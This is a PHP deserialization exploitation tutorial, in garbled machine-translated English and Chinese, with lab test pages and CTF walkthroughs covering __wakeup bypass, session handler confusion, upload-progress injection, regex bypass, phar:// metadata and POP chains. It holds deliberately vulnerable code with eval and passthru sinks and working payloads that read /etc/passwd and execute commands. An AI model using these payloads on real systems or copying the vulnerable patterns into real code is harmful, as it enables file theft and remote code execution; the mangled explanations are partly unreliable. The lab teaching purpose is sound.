Serialization and de-serialization
Serialization Application: Objects facilitate transmission and storage in the network
0x01 php deserialization vulnerability
In PHP applications, serialization and de-serialization is generally used as a cache, such as the session cache, cookie and other.
Common serialization format:
- Binary format
- Byte array
- json string
- xml string
Serialized object stream is to convert, format facilitate storage and transport
Deserializing serialized contrast, converted stream object
For example: json serialization, XML serialization, binary serialization, SOAP serialization
The serialization and de-serialization php basically revolve around serialize()
, unserialize()
these two functions
php magic methods common objects
__construct() // 当一个对象创建时被调用,
__destruct() // 当一个对象销毁时被调用,
__toString() // 当一个对象被当作一个字符串被调用。
__wakeup() // 使用unserialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__sleep() // 使用serialize()会检查是否存在__wakeup()方法,如果存在则会先调用,预先准备对象需要的资源
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发,返回值需要为字符串
__invoke() // 当脚本尝试将对象调用为函数时触发
PHP serialized data
Test script test.php
<?php
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
$user->name = 'default';
$user->age = '0';
$user->addr = 'default';
echo serialize($user);
?>
This is the format of an object by serializing method serialize ()
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
When a page similar to passing parameters found in the data format of the target sequence, can be tested for the presence deserialization vulnerability
php object access level properties
Test.php test
class User
{
private $name = 'default';
public $age = 18;
protected $addr = 'default';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
echo serialize($user);
private
After property becomes serialized <0x00>对象<0x00>属性名
public
No change
protected
After property becomes serialized <0x00>*<0x00>属性名
Special hexadecimal <0x00>
representation a bad byte is a null byte
The following test pass value of the correct posture deserialized
After adding a few codes
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
First test common form of access to traditional values
usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}
public
It is normally modified, private, protected and can not be modified outside the object
How can we modify the property value to be protected from the outside it?
The <0x00>
position of use %00
instead of
usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}
Can be found in even the protected property will be modified externally
php deserialization demo
Assuming that the page has a controllable interface parameters
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
Test page is to pass parameters through the post, the post is not necessarily combat environment, the parameters may be encrypted coding
To pass a O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}
By modifying the parameters, determines whether or not the variable parameter
Variable parameters
Deserialization exploits
Vulnerability formation conditions
- Variable parameters
- There may use function
Function is assumed that there may be utilized
Test.php test code
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
# 读取文件函数
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 参数可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
It found that there is a file_get_contents()
file read function.
Malicious structure parameters O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
Before the User Interface changed to read the file class constructor parameters, FileClass only a filename attribute, just pass the file name to be read on the line
Passing malicious parameters with the same parameter name, resulting in the current directory test.php
is read, you can try to read other files
Readtest.txt
Trying to read/etc/passwd
Configuration parameters O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}
0x02 bypass __wakeup ()
the __wakeup () similar to a pretreatment effect, detects the presence of wakeup when executed to unserialize (), the presence of the first implementation of the __wakeup ()
Bypassing
This is a way to bypass vulnerability caused by a PHP version of
Bypass the __wakeup()
number of parameters only need to change more than the existing number of parameters can be
Affects Version
PHP5 < 5.6.25
PHP7 < 7.0.10
5.6.40 and 5.5.38 test comparison
Test.php test page
Test versions of php 5.6.40
Test system Linux
IP :192.168.80.11
<?php
// ...省略其他代码
class CMDClass{
public $cmd = "";
function __wakeup(){
if(strpos($this->cmd,'ls')!==false){
$this->cmd = " ";
}
}
function __destruct(){
passthru($this->cmd,$result);
}
function __toString(){
return "";
}
}
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
Here the __wakeup (), it is determined if there is "ls" cmd parameter of the input string, then cmd is set to a space.
Configuration parameters O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}
The number of parameters to change the number of parameters than the conventional bypass
The updated version, will produce an error can not be bypassed
Replace the virtual machines for testing
Test.php test page
Test versions of php 5.5.38
Windows 7 test system
IP :192.168.80.128
Test page php_unser.php
<?php
// ...其余都一样
function __wakeup(){
# 因为win7没有ls命令,所以这里来限制ipconfig命令
if(strpos($this->cmd,'ip')!==false){
$this->cmd = "echo 非法输入";
}
}
?>
Configuration parameters O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
Found to be the __wakeup () filtered
The number of parameters to modify bypassed O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}
Tested can bypass
0x03 Session deserialized
php session content is not stored in memory, there is a file format. Storage is to be determined by the configuration item session.save_handler, the default file is stored. The files are stored
sess_sessionid
contents to be named after the contents of the file is serialized session value.
Storage
php_binary
Storage, ASCII is the length of the character keys corresponding to keys + + After serialize () function is a sequence of process valuesphp
Storage, the key name after + + vertical serialize () function value of the sequence of processesphp_serialize(php>5.5.4)
Storage, the value after serialize () function is a sequence of process
Formatting
ini_set('session.serialize_handler', '需要设置的引擎');
By default session storage to php
storage
<?php
session_start();
$_SESSION['name'] = 'admin';
echo "session_id: ".session_id()."<br>";
passthru("cat /tmp/sess_".session_id());
?>
// session内容 name|s:5:"admin";
php_serialize
engine
ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容 a:1:{s:4:"name";s:5:"admin";}
php_binary
engine
ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容
4 character ASCII value of the display can not be printed
Vulnerabilities principle
When session improper use, and the use of engines used for serialization deserialization php reservoir such as an engine is not the same, it will form the vulnerability.
Vulnerability reproduction
The tests to php
engine and php_serialize
hybrid engine raises the vulnerability
Test page 1 target1.php
-> php_serialize
Engine
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"]=$_GET["name"];
if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
echo "欢迎来到第一个页面,Session已保存!";
}
?>
Test Page 2 target2.php
-> php
Engine
<?php
ini_set('session.serialize_handler','php');
session_start();
// 开启session之后 无需调用会自动加载
class Admin
{
var $name;
function __construct()
{
$this->name = "default";
}
function __destruct(){
// 执行命令
passthru($this->name);
}
}
?>
By the target1.php
passing of a nameadmin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}
Then visit target2.php
passed parameter before, you will find cat /etc/passwd
the command to be executed
What is happening? ! !
Vulnerability trigger process
First, by visiting target1.php
and passing parametersname=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}
The target1.php
page is the php_serialize
engine to store the session, so the session after saving the contents into aa:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
Then when accessed target2.php
, the page will use the second php
engine to parse the session, by |
a value corresponding to the extracted character string is divided;
Session value
a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
After the decomposition, a:1:{s:4:"name";s:48:"admin
was used as the session key value
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
is resolved to value
Session itself is the serialization and de-serialization of storage
By the session O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
deserialization
It generates Admin
object and an attribute value cat /etc/passwd
of the name
Through the destruction magic methods object __destruct()
command will form a malicious execution
CTF combat title
为了符合题意需要将 php.ini
中的 serialize_handler 修改一下
题目测试页面 test3.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('test3.php'));
}
?>
访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>
符合上面将的漏洞环境
通过源码可以看出并没有可以传入参数的地方
不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的
Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
构造一个post表单
<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
上传一个文件,抓包分析
修改 filename 的值为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
session值 先是以php_serialize引擎序列化后储存
后输出页面被 php引擎解析触发反序列化漏洞
构造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}
可以遍历 /tmp/ 内的所有文件
0x04 反序列化绕过正则
测试页面源码 test4.php
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
首先访问 <http://192.168.80.11/test4.php>
通过源码可以看出存在一个反序列化漏洞
根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}
但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches);
对序列化字符串做了限制导致触发防御
接下来尝试绕过正则表达式,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}
并没有什么变化的原因是,在url中 +
号会被解释为空格,所以需要将 +
url编码后加入
尝试访问 flag.php
绕过正则表达式
实战中需根据正则表达式规则来进行绕过
0x05 phar反序列化
phar伪协议触发php反序列化
phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
案例演示
假设已知页面 test5.php
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output='echo "nice"';
function __destruct(){
eval($this->output);
}
}
var_dump(file_exists($filename));
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
接下来根据源码中的类来构造一个phar文件
创建一个 phar.php
<?php
class MyClass{
var $output='phpinfo();';
function __destruct(){
eval($this->output);
}
}
@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test"); // 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>
通过访问或者 php 编译去生成 phar文件
注意:必须要在php.ini中设置 phar.readonly = Off
不然无法生存phar文件
通过查看,其中有一串序列化字符串正是和已知页面源码中类相对应
可以通过上传文件等方式将phar文件放到服务器上
先通过正常url http://192.168.80.11/test5.php?filename=index.php
访问
找到phar文件的路径
利用 phar:// 协议来访问
http://192.168.80.11/test5.php?filename=phar://myclass.phar
可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的
0x06 POP链构造
测试页面 pop.php
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
?>
解题思路:
- 首先发现找到flag,发现flag需要通过
GetFlag
类中get_flag()
函数输出,然后可以看到string1
类中的__toString()
方法可以直接调用get_flag()
方法,而str1
需要赋值为GetFlag
。 - Class found
func
in the present__invoke
method of performing a string concatenation, needfunc
as a function call using automatic__invoke
then$mod1
assigned tostring1
the object and the$mod2
splice. - In
funct
the find function calls need to bemod1
assigned tofunc
object classes, and because the function call in__call
method, and the parameters$test2
that can not be calledtest2
automatically called when the method__call
method; - In
Call
thetest1
presence of methods$this->mod1->test2();
, we need to be$mod1
assigned tofunct
an object, so that__call
automatically calls. - Find
test1
call point method, instart_gg
found$this->mod1->test1();
, the$mod1
assignedstart_gg
object class, waiting for__destruct()
the automatic call.
Output payload configured by pop chain
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);
After performing output payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
The payload into the parameter transmission request flag output